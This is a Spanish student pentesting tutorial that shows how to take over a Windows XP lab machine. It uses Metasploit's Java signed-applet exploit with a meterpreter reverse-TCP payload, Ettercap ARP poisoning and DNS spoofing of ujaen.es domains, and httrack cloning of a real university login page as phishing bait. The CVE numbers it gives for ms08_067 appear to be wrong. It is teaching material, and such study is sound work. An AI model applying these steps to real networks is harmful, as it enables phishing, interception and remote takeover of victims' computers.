25
Episodio de Pentesting Hello world, I’m backtrack Nicolás Moral de Aguilar Seguridad en tecnologías de la información

Episodio de pentesting

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: Episodio de pentesting

Episodio de Pentesting

Hello world, I’m backtrack

Nicolás Moral de Aguilar

Seguridad en tecnologías de la información

Page 2: Episodio de pentesting

2

Índice

1. Planteamiento del episodio 2. Conceptos necesarios 3. Configuración del escenario 4. Escaneo a la víctima 5. Elección de vulnerabilidad 6. Configuración del exploit 7. Envenenamiento DNS 8. Ingeniería social 9. Meterpreter en acción

Anexos

Page 3: Episodio de pentesting

3

1. Presentación del episodio

En el episodio de penetración que se expone a lo largo de este proyecto, se realizará una

explicación detallada de cómo conseguir hacerse con un ordenador remoto aprovechando una

vulnerabilidad de Java en navegadores, que permite la ejecución de código malicioso tras aceptar

un applet de Java en cualquier navegador y/o sistema operativo. Así mismo, explicaré el

procedimiento habitual en el que entra en juego la ingeniería social para hacer que las posibles

víctimas acepten la ejecución del applet.

Para explicar el procedimiento, voy a especificar varias fases por separado, que permitirán entender

de manera más sencilla todo el proceso. En la primera fase, se debe realizar un escaneo de la LAN

en la que se sitúa el episodio para visualizar la estructura de la red y detectar posibles equipos

vulnerables. Más tarde, hay que analizar los mismos para ver cómo y qué vulnerabilidades se

pueden aprovechar. Tras eso, se debe configurar el exploit necesario para aprovechar dicha

vulnerabilidad, y dependiendo del tipo de exploit, habrá que seguir un procedimiento para hacer

que el ataque se haga efectivo.

Page 4: Episodio de pentesting

4

2. Conceptos necesarios

Para la compresión de este proyecto necesitaremos tener algunas definiciones y conceptos claros,

así que voy a dar una breve explicación de todos los términos que considero necesarios para

entender el desarrollo del mismo.

Backtrack 5 R3

Distribución de Linux basada en Ubuntu destinada a la seguridad. En su última versión incorpora las

versiones actualizadas de muchas de las utilidades de Linux más usadas en el ámbito de la

seguridad informática. Abarca desde programas destinados al pentesting, como Metasploit

Framework o SET, pasando por herramientas de ingeniería inversa, como IDA Pro, de análisis de

redes, como Nmap o AirCrack, o de análisis forense, como Galleta. La distribución se basa más

concretamente en Ubuntu 10.04 LTS (Lucid Lynx) y está disponible en arquitecturas de 32, 64 bits y

en ARM. En el ámbito de la seguridad, posiblemente sea la distribución más utilizada. Como dato

adicional, en todo el desarrollo del episodio os llamará la atención la ausencia de “sudo” en los

comandos, pero la razón es que este sistema utiliza la cuenta de administrador por defecto. En el

desarrollo del episodio, me referiré a esto como Backtrack, BT o BT5.

Metasploit Framework

Es una herramienta imprescindible para cualquier informático que trabaje con test de penetración.

Metasploit o MSF, es un programa que recopila una base de datos de exploits autoactualizable que

permite aprovechar las posibles vulnerabilidades que tengan los equipos atacados. Junto con

NMap, se convierte en una herramienta increíble. Además, existe una interfaz gráfica disponible

para los que odien la CLI (Command Line Interface), llamada Armitage, de la que hablaré en uno de

los anexos del proyecto.

Ettercap

Realiza las funciones de sniffer, interceptor y registrador para cualquier LAN. Soporta direcciones

activas y pasivas de varios protocolos, incluido SSH y HTTPS. Hace posible la inyección de datos en

una conexión establecida y permite el filtrado al vuelo aun manteniendo la conexión sincronizada

gracias a la característica de realizar ataques MiTM (Man in the middle). Justamente esta última

característica es la que a nosotros nos interesa para nuestra simulación de escenario. Lo

explicaremos de forma más extensa en el apartado de Envenenamiento de DNS

VB Bridged Network Mode

VirtualBox dispone de varios modos de configuración de la tarjeta de red virtualizada de las guest.

Los más usados suelen ser el modo NAT, que crea un puente de conexión entre el host, con IP

habitualmente de tipo 192.168.X.X y el guest, el cual se configura en otra red 10.X.X.X. Y también se

usa habitualmente el modo red interna, que conecta directamente todas las guest en una misma

red. Sin embargo, puesto que el escenario precisa de actualización de diversos componentes dentro

de la VM, he configurado la red como Bridged Network (Red Puenteada) que añade ambas VM a la

red local y les asigna, como es evidente, direcciones del tipo 192.168.X.X. Ello nos permitirá tener

Page 5: Episodio de pentesting

5

ambas máquinas virtuales conectadas, tanto la atacante como la atacada, y además tener en ambas

conexión a internet para actualizar los componentes necesarios.

SET

Social Engineering Toolkit es una suite en CLI que nos facilita una interfaz en consola para

automatizar el uso de ataques de penetración habituales compenetrando varias herramientas de la

distribución, como pueden ser Metasploit, NMap, Apache Server, etc… implementando en una

misma aplicación la automatización de los ataques. Le echaremos un vistazo en el apartado de

anexos.

PAYLOAD

Es un término que se refiere al código o herramienta que tras la infección de una víctima, permite

realizar todo tipo de efectos secundarios. Es decir, la parte del troyano que se encarga de los

cambios de configuración, y ejecución de cualquier orden no legítima.

EXPLOIT

Es un software, o secuencia de comandos que se crea con el fin de causar un error o un fallo en

alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en un sistema o

componente. Habitualmente supone la ejecución remota de código, la escalada de privilegios o

incluso un ataque DOS.

Page 6: Episodio de pentesting

6

3. Configuración del escenario

Para poner en marcha un escenario de una simulación de un ataque de penetración o pentesting,

vamos a utilizar dos máquinas virtuales interconectadas, las cuales vamos a configurar de la manera

apropiada para que el ataque pueda llevarse a cabo de manera exitosa. Tras instalar VirtualBox,

vamos a necesitar una ISO de Windows XP SP3 y otra de Backtrack 5 R3 para instalar cada una en

una VM distinta.

(Proceso de instalación de las dos VM)

Evidentemente, podemos usar versiones diferentes de ambos SO, pero en este caso he escogido las

versiones más actualizadas de ambos. A continuación voy a mostrar la configuración que he

dispuesto en cada una de los sistemas invitados.

Backtrack 5 R3, está instalado en un disco duro virtual y se le han asignado 512Mb de RAM. Incluso

es suficiente con bastante menos memoria puesto que el ataque que vamos a realizar no necesita

tener demasiados programas en memoria. En el momento de más carga, deberían estar un servidor

Apache, MSF y Ettercap. El sistema está actualizado con la siguiente lista de órdenes:

“apt-get update && apt-get upgrade”

“msfupdate”

Además, tiene actualizado SET a la última versión desde su propio menú de opciones.

La máquina virtual está configurada como Bridged Network por lo que se adhiere a la LAN a la que

pertenece el sistema host, con una IP del tipo 192.168.1.X

Windows XP SP3 contiene las últimas actualizaciones de Windows Update y está configurado

también como Bridged Network, por lo que tiene otra IP perteneciente a la red local del host.

Además está instalado Google Chrome por si necesito hacer alguna búsqueda durante el desarrollo

Page 7: Episodio de pentesting

7

del proyecto, y de paso para demostrar que independientemente del navegador instalado, el

sistema sigue siendo vulnerable, ya que la vulnerabilidad está en el JRE.

(Configuración de red de ambas VM)

Con ambas máquinas virtuales funcionando y actualizadas correctamente, estamos listos para

entrar en materia e iniciar nuestro MSF. Como recomendación adicional, propongo hacer una

Snapshot de ambas máquinas virtuales. No es estrictamente necesario ya que no vamos a tocar

nada relacionado con el kernel ni con el boot de BT5, y evidentemente Windows ya viene bien

capado de serie, pero es recomendable por si a alguien se le va la mano con la consola de

Meterpreter y teclea un “rm –r *.*”.

Hasta nueva orden, la parte que viene a continuación se desarrolla de forma íntegra en la VM de

BT5, por lo que supongo la ejecución de órdenes con “sudo” y que todas ellas se ejecutan en BT.

Page 8: Episodio de pentesting

8

4. Escaneo a la víctima

Lo primero que necesitamos para poder hacer uso de nuestro supuesto exploit, y tras instalar las

herramientas necesarias en nuestra máquina, es seleccionar una o varias víctimas en las que tratar

de hacer efectivo el ataque. Para ello, y con el fin de escanear las posibles vulnerabilidades que

expongan a las víctimas ante nuestro ataque, necesitamos información sobre las direcciones a las

que vamos a atacar. Para ello, lo primero es ejecutar un análisis de puertos. Y a estas alturas estaréis

pensando en Nmap, la cual evidentemente podemos utilizar. Así que sería bastante fácil ponernos

manos a la obra y ejecutar un escaneo generalizado con Nmap, del cual pondré un ejemplo

simplemente por lo que explicaré a continuación.

Escaneo vía Nmap

Ejecutamos en terminal la siguiente orden:

“nmap –A 192.168.1.26”

(Orden ejecutada en BT5)

La orden anterior básicamente realiza un scan rápido a la IP que especificamos, en este caso

192.168.1.26, y añade un scan de SO con el atributo –A. Habitualmente se usa también –v para

visualizar más información del proceso, pero puesto que es un ejemplo la he omitido.

Page 9: Episodio de pentesting

9

Escanear una red mediante Nmap es una forma totalmente válida para lo que necesitamos en este

proceso, incluso podríamos utilizar Zenmap que es la GUI de Nmap, pero para que se observe el

potencial de Metasploit, vamos a realizar el scan directamente desde el propio MSF, ya que incluye

módulos de escaneo. Por tanto, iniciamos directamente la consola de Metasploit con

“msfconsole” y vemos que escaneos tenemos disponibles para realizar con los siguientes

comandos mostrados en la imagen siguiente. Los escaneos más habituales son el TCP y el SYN, pero

como de momento solo necesito averiguar cuál es la versión del SO, me vale cualquiera.

(Ejecutando SYN scan)

He configurado el RHOST con la dirección del equipo atacado porque en este caso la sabemos. Pero

si quisiéramos escanear una red, normalmente se realiza un scan a los equipos limitados por la

máscara de subred 255.255.255.0, es decir, desde 192.168.1.0 hasta 192.168.1.255. Se especifica

de la siguiente manera “set RHOSTS 192.168.1.0/24”.

Escaneamos el puerto 445 que viene abierto por defecto en todos los Windows ya que es utilizado

por SMB (Server Message Block, sistema para compartir archivos e impresoras de Microsoft) y que

nos servirá para saber la versión del sistema operativo. Observamos que está abierto, por lo que

buscamos algún scan para SMB.

Page 10: Episodio de pentesting

10

(Ejecutando SMB scan)

Una vez que sabemos el sistema operativo que ejecuta el sistema en cuestión y hemos obtenido la

información adicional de puertos, debemos pasar a la elaboración del plan de ataque, empezando

por la elección de la vulnerabilidad que vamos a utilizar.

Page 11: Episodio de pentesting

11

5. Elección de vulnerabilidad

Gracias a MSF y su gigantesca base de datos de exploits funcionales, tenemos miles de

posibilidades para hacernos con un ordenador remoto. El momento de elegir que vulnerabilidad

vamos a aprovechar es importante, ya que marcará el rumbo del proceso para hacernos con la

máquina remota. En este caso, uno de los puntos más importantes, es que la elección del exploit

debe realizarse pensando en el sistema operativo de la víctima, y en los servicios que operan por

defecto en los puertos que hayamos detectado abiertos. Por tanto, podríamos elegir

vulnerabilidades de diferentes clases.

Para Windows XP destacar el exploit “ms08_067_netapi” que ha sido uno de los más utilizados

durante la vida de XP, ya que permite su ejecución sin intervención alguna del usuario remoto, por

lo que evita la ingeniería social. El exploit aprovecha las vulnerabilidades CVE-2006-4446 y CVE-

2006-4777 y permite la apertura incluso de una sesión de meterpreter, y la escalada de privilegios

en el sistema.

Sin embargo, debido a su compatibilidad con diferentes navegadores y sistemas operativos, en este

escenario voy a utilizar la que posiblemente sea la vulnerabilidad más utilizada de MSF,

“Java_signed_applet”. El exploit se inyecta en el servidor http del atacante, junto con los payloads

generados para los diferentes sistemas operativos, y permite la ejecución de una sesión de

meterpreter, cuyas virtudes estudiaremos más adelante, en la victima.

El exploit Java signed applet nos permite crear un complemento envenenado de java para el

navegador, que puede incluso firmarse si tenemos el JDK (Java Development Kit) instalado en la VM.

Este complemento se inyecta en el servidor web independientemente de la página web que haya

creada, lo cual es bastante interesante y aumenta con creces la maniobrabilidad de la ingeniería

social. Una vez hemos aceptado su ejecución, el payload entrará en la VM víctima y se ejecutará,

creando una conexión “reverse-tcp” que se comunicará directamente con metasploit.

Page 12: Episodio de pentesting

12

6. Configuración del exploit

Lo primero que debemos hacer es llamar al exploit, pero si no nos sabemos la ruta exacta podemos

utilizar la función search de Metasploit. Se ve mejor en esta imagen:

(Configuración básica de Metasploit)

En la imagen de arriba podemos observar que si hacemos un “show options”, se nos muestran

los parámetros de configuración modificables para el exploit, y su configuración por defecto. Al lado

de cada parámetro viene una breve descripción del mismo, por lo que no me voy a extender

demasiado. Pero es importante echar un vistazo a SRVHOST, SRVPORT, LHOST y para este exploit en

concreto, podemos configurar el nombre del applet malicioso modificando APPLETNAME, e incluso

la firma del applet con CERTN. Los parámetros se modifican como en el siguiente ejemplo:

“set APPLETNAME EXPLOIT”.

A continuación, la parte más importante de la configuración de un exploit consiste en la elección

del Payload, pues será el programa que se encargará de realizar la conexión inversa desde la víctima

hasta el host. En este caso, vamos a utilizar el payload más famoso de Metasploit que se llama

Meterpreter, y para ser más exactos, en su versión de puertos TCP. Dicho esto, el paso siguiente es

setearlo en nuestro exploit, dando la siguiente instrucción:

Page 13: Episodio de pentesting

13

“set PAYLOAD windows/meterpreter/reverse_tcp”

Una vez configurado completamente el exploit con las opciones que necesitemos escribimos en la

consola de MSF “exploit” y automáticamente MSF montará el servidor web con el contenido

infectado. De forma predeterminada, MSF monta la inyección del exploit en una URL aleatoria del

tipo http://127.0.0.1/XXXXXXX pero si queremos especificar un nombre en la dirección tendremos

que configurar URIPATH en la configuración del exploit.

Ahora solo deberemos hacer que la víctima entre en el enlace y permita la instalación del

complemento de Java. Para ello podríamos hacer uso de ingeniería inversa, a través de un mail o de

cualquier otro servicio, pero puesto que suponemos que la víctima está en la misma red local,

vamos a usar DNS Poisoning, lo que explicaremos a continuación.

Page 14: Episodio de pentesting

14

7. Envenenamiento DNS

A grandes rasgos un envenenamiento DNS, más conocido por su traducción en inglés DNS

Poissoning, es una forma de ataque MiTM en el que el atacante hará que el PC atacado resuelva las

direcciones con un servidor de DNS “alterado”. Esto puede parecer un poco complejo al principio,

pero vamos a explicarlo de forma más detallada.

Primero introduciremos un nuevo concepto que no se definió en el tutorial porque consideré que

era más conveniente verlo justo en el momento de su necesidad. Así que a continuación se

explicará que es el Protocolo ARP (Adress Resolution Protocol) y el envenenamiento de su cache.

Básicamente es un protocolo responsable de encontrar la dirección MAC correspondiente a una

determinada IP. Imaginemos ordenador A y ordenador B.

ARP Request: El ordenador A pregunta en la red a quién pertenece una determinada IP, pongamos

192.168.1.1.

ARP Reply: Todos los demás ordenadores de la red ignorarán la petición a excepción del que tenga

esa dirección IP. Este ordenador contestará con un paquete que contendrá la IP requerida y su

dirección MAC.

El protocolo fue diseñado para ser simple y eficiente pero su mayor defecto es la ausencia de

autenticación. Como resultado, no hay manera de autenticar la IP con la dirección MAC contenida

en el ARP Reply. Además, el host ni siquiera comprueba si fue enviada la respuesta ARP desde la

misma IP que se solicitó en la petición.

Esto quiere decir que si un ordenador A, envía una petición y recibe una respuesta ARP, el protocolo

no puede comprobar si la IP corresponde con su MAC. Incluso si un host no envió una petición ARP

pero si recibe una respuesta ARP, confía en la información de respuesta y actualiza su cache ARP.

Por tanto, como podemos observar parece fácil explotar el débil protocolo ARP. Es posible enviar a

la red entera una respuesta ARP en la que cualquier IP está mapeada a cualquier MAC.

La vulnerabilidad anterior permite el ataque a una LAN de varias formas, en este caso, y como ya

hemos indicado anteriormente utilizaremos la técnica Man in the Middle, que nos permitirá hacer

sniff a todo el tráfico entre dos PC de la red.

Para conseguir esto, supongamos que mi PC es el host A, y mi router es el host B. Mi ordenador

tiene una IP-A y una MAC-A, y el router una IP-B y una MAC-B.

La máquina C, o sea, la que realizará el ataque, envía una respuesta ARP a B que mapea IP-A con

MAC-C, y otra respuesta ARP hacia A que mapea IP-B con MAC-C. Por tanto ahora cualquier

paquete enviado desde A a B o desde B a A, llegará a C. Entonces es momento de activar en C, IP

forwarding (Redireccionamiento IP), que permite redireccionar A a B. Es este momento cuando C se

encuentra justo en medio de la conexión entre A y B, y tenemos un ataque Man in the Middle en

toda regla.

Toda esta teoría es imprescindible, pero creo que es hora de pasar a la práctica.

Page 15: Episodio de pentesting

15

Os presento a Ettercap, que nos permitirá poner en práctica este ataque. En esta ocasión vamos a

utilizar la interfaz gráfica por su comodidad, ya que es un rollazo aprenderse la ingente cantidad de

comandos que tiene la CLI, y no es cómodo para trabajar. En caso de no querer iniciar Xorg,

podemos usar Ettercap –C, que funciona con una interfaz creada con curses. Así que iniciamos

Ettercap introduciendo en la terminal “ettercap -G”.

A continuación hacemos click en “Sniff -> Unified Sniffing” y se nos abrirá una ventana de selección

en la que podremos escoger cualquiera de las interfaces disponibles. Como estoy trabajando en VB,

elijo eth0.

(Ettercap en modo Unified Sniffing)

Ahora vamos a escanear la red para ver los equipos, por lo que hacemos click en “Hosts -> Scan for

host”. Y cuando esté completado en “Hosts -> Host List”. Ahora vemos información interesante, que

son todos los host de la red listados con direcciones MAC correspondientes. Nos disponemos a

hacer un ataque MiTM, por tanto seleccionamos un host y pulsamos en “Add to Target 1” y

hacemos lo mismo con el otro host que queramos interceptar pero esta vez lo añadimos en “Add to

Target 2”.

Page 16: Episodio de pentesting

16

(Seleccionando objetivos en Ettercap)

Ahora seleccionamos “Mitm -> Arp Poisoning” y marcamos la opción de Sniff Remote Connection.

Una vez hecho esto iniciamos el Sniff desde “Start -> Start Sniffing”

Una vez que los paquetes están pasando por nuestro PC, lo que necesitamos es direccionar a la

víctima a la dirección IP en la que hemos inyectado el exploit, para ello lo que vamos a hacer es

redireccionar el DNS usando un plugin de Ettercap que se llama dns-spoof. Pero antes debemos

editar el archivo de configuración que Ettercap dedica al dns. Si estáis habituados al archivo de

Linux hosts (/etc/hosts) veréis que la configuración se hace del mismo modo, así que desde una

terminal nos vamos a editar el archivo de configuración de DNS de Ettercap.

“nano /usr/local/share/ettercap/etter.dns”

Aquí añadimos las líneas que queramos para redireccionar cualquier dirección a nuestra IP. Yo he

puesto la dirección de la UJA añadiendo esto:

*.ujaen.es A 192.168.1.27

ujaen.es A 192.168.1.27

Page 17: Episodio de pentesting

17

Una vez hemos hecho eso, solo queda activar el plugin, y todo estará listo, como podemos ver en la

siguiente imagen en la que se ve como haciendo un ping y entrando directamente en la web, nos

redirecciona correctamente a nuestro servidor malicioso.

Page 18: Episodio de pentesting

18

8. Ingeniería social

Durante el desarrollo del proyecto me estuve planteando la posibilidad de omitir este apartado. Sin

embargo después de no pocas reflexiones, creo que a nivel de poner en práctica este episodio en el

mundo real, esta es la parte más importante. Se debe hacer caer a la víctima en la trampa, y una de

las maneras más eficientes es suplantando la identidad de un sitio web habitual de tal manera que

el usuario no se dé cuenta de la trampa. Creo que estamos de acuerdo en que un index.html del

tipo <h1>HOLA, SI ACEPTAS ESTE APPLET VOY A HACKEARTE EL PC</h1> no es demasiado

útil.

Pero… ¿Y si clonamos la web de Google? Pensé en clonar la UJA, pero la verdad es que ocupa

demasiado y tardaríamos en descargar el árbol de direcciones bastante rato. Al final, decidí

inyectarlo en un sitio más creíble, ya que a día de hoy es improbable que Google inserte un applet

de Java en su buscador y me decidí por inyectarlo justo en el enlace de autenticación de

dv.ujaen.es, cambiando el link en el código fuente hacia mi IP.

Me pongo manos a la obra, y aunque podría descargarme el código directamente con wget o con

un right click en la misma web, o incluso copiando directamente el código fuente visible, eso es una

chapuza a no ser que nos queramos pasar un par de horas redireccionando hojas de estilo y

contenido multimedia.

Descargamos un programa que se encarga de hacer la tarea por nosotros, httrack.

“apt-get install httrack”

Nos situamos en la carpeta que queramos descargar la web, y ejecutamos el programa pasando

como argumento la web que deseemos.

“httrack dv.ujaen.es”

(httrack clonando www.google.es)

Page 19: Episodio de pentesting

19

Una vez copiada la web en la carpeta que hayamos definido por defecto (recomiendo que no sea

directamente el servidor por si hay algún fallo) comprobamos que está bien en el navegador, y la

copiamos directamente a la carpeta del servidor apache, ya sea únicamente el index o también

archivos y carpetas asociados.

“cp dv.ujaen.es/* /var/www”

Una vez lo hemos copiado iniciamos el servidor apache desde el menú.

Applications -> Backtrack -> Services -> HTTPD -> apache start

Básicamente ya está todo copiado y listo para funcionar. Os adjunto como información adicional los

parámetros exactos que yo he utilizado para configurar el exploit y el payload en MSF.

set APPLETNAME UJA_AUTH

set CERTCN Ujaen

set URIPATH /authapplet

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.XXX

(Hay que tener cuidado de no establecer como Puerto del servidor el 80, ya que lo estamos

utilizando para alojar a la web clonada)

Page 20: Episodio de pentesting

20

9. Meterpreter en acción

Exploit inyectado en la web esperamos pacientemente que nuestra ingeniería social haga acto de

presencia ante la víctima y esta ejecute el complemento de Java. Una vez ejecutado, el applet se

encargará de realizar automáticamente una conexión inversa hacia nuestro servidor por el puerto

que hayamos especificado en LPORT y abrirá una sesión de Meterpreter para dejarnos en

ordenador atacado a nuestra disposición.

Metasploit por defecto no nos redirige a la sesión abierta directamente, tendremos que abrirla

nosotros, así que vemos los comandos por defecto.

Primero, ejecutamos “sessions –l” y nos listará todas las sesiones que hayan activado nuestros

troyanos de conexión inversa. Para seleccionar una simplemente tenemos que escribir:

(Exploit activando sesión y abriéndola en meterpreter)

“sessions –i id” es decir…

“sessions –i 1”

Se nos abrirá una session de Meterpreter, y lo primero que tenemos que hacer tras examiner un

poquito la CLI, es ejecutar una orden help, para ver qué podemos hacer con él. En este momento,

los que no conozcan Meterpreter se darán cuenta de por qué he elegido este payload y no uno de

Shell normal. Meterpreter tiene muchísimas opciones con órdenes directas, desde subir o

descargar un archivo, hasta terminar un proceso o capturar el micro o la webcam.

El payload es verdaderamente una obra de arte, podría explicar uno por uno que hace cada

comando, pero puesto que viene una descripción del mismo en inglés creo que no tiene sentido y

es mucho más divertido si lo investigas tú mismo.

Page 21: Episodio de pentesting

21

(Algunos comandos de Meterpreter)

Page 22: Episodio de pentesting

22

Anexos

Como información complementaria al proyecto, pero relativa al mismo, voy a presentaros dos

herramientas que os facilitarán el trabajo del día a día. Armitage y SET.

Armitage

Esta herramienta básicamente se encarga de proveer de interfaz gráfica a MSF, pero sin dejar de

lado una línea de comandos. Armitage tiene una barra superior que automatiza el escaneo de

redes, la búsqueda de ataques disponibles para las distintas posibles víctimas dependiendo de la

información que consiga en los escaneos pertinentes. Además, te permite elegir los ataques y te

ofrece una configuración predeterminada para el mismo dependiendo del sistema operativo de la

víctima. Su parte inferior, es una consola en la que se van abriendo pestañas para lanzar los

diferentes procesos durante el ataque. En cierto modo, como toda interfaz gráfica, reduce

considerablemente las posibilidades del programa comparado con su interfaz CLI, pero ya que la

propia interfaz dispone de una línea de comandos, podemos suplir las carencias de la interfaz desde

ahí. La interfaz se lanza directamente desde el menú de backtrack.

(Lanzando armitage desde el menú)

Page 23: Episodio de pentesting

23

(Ventana de metasploit habitual cuando se arranca)

(Ventana con un ataque en proceso, en la que hay vulnerados 3 dispositivos de la red)

Como podéis ver la interfaz es bastante útil, y además hace el ataque mucho más vistoso si lo que

queréis es hacer algún tipo de publicación o documento oficial.

Page 24: Episodio de pentesting

24

SET

Cuyo nombre completo es Social Engineering Toolkit es un conjunto de utilidades como su propio

nombre indica que nos asiste en la tarea de poner en funcionamiento todo tipo de ataques en los

que interviene la ingeniería social, desde ataques vectoriales, hasta ataques como los de pass

harvesting o tabnabbing (El primero es captura de contraseñas envenenando una petición GET o

POST en nuestro servidor, y el segundo hace lo mismo pero carga el servidor malicioso al cambiar

de pestaña en el navegador de la víctima). Creado por David Kennedy, la verdad es que se ha

convertido en una herramienta indispensable para cualquiera que trabaje en el área de pentesting,

llegando incluso a portarse a un dispositivo iOS con Jailbreak. El software integra en muchas de sus

partes secciones del propio Metasploit, pero automatiza la tarea hasta tal punto de basarse en un

menú seleccionable con diferentes niveles. También viene incluido en la distribución de Backtrack.

Os dejo algunas imágenes.

(Menú principal de SET)

Page 25: Episodio de pentesting

25

(Menú de ataques principal SET) (Selección de Payload SET)